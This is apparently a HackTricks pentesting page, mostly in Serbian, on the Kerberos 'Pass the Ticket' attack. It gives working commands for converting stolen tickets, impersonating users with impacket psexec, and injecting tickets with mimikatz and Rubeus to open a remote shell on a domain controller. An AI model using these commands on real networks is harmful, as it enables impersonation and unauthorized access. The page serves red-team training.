Pass the Ticket

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Pass The Ticket (PTT)

U metodi napada Pass The Ticket (PTT), napadači kradu autentifikacionu kartu korisnika umesto njihove lozinke ili heš vrednosti. Ova ukradena karta se zatim koristi za impostaciju korisnika, sticanje neovlašćenog pristupa resursima i uslugama unutar mreže.

Pročitajte:

• Berba karata sa Windows-a

• Berba karata sa Linux-a

Zamena Linux i Windows karata između platformi

Alat ticket_converter konvertuje formate karata koristeći samo kartu i izlaznu datoteku.

python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi

python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

U Windows-u Kekeo može se koristiti.

Napad Pass The Ticket

Linux

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
python psexec.py jurassic.park/[e-mail] -k -no-pass

Windows

#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe][e-mail]"
.\Rubeus.exe ptt /ticket:[0;28419fe][e-mail]
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

Reference

• https://www.tarlogic.com/blog/how-to-attack-kerberos/

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane od strane najnaprednijih alata zajednice. Pribavite pristup danas:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

• Proverite planove pretplate!

• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.

• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.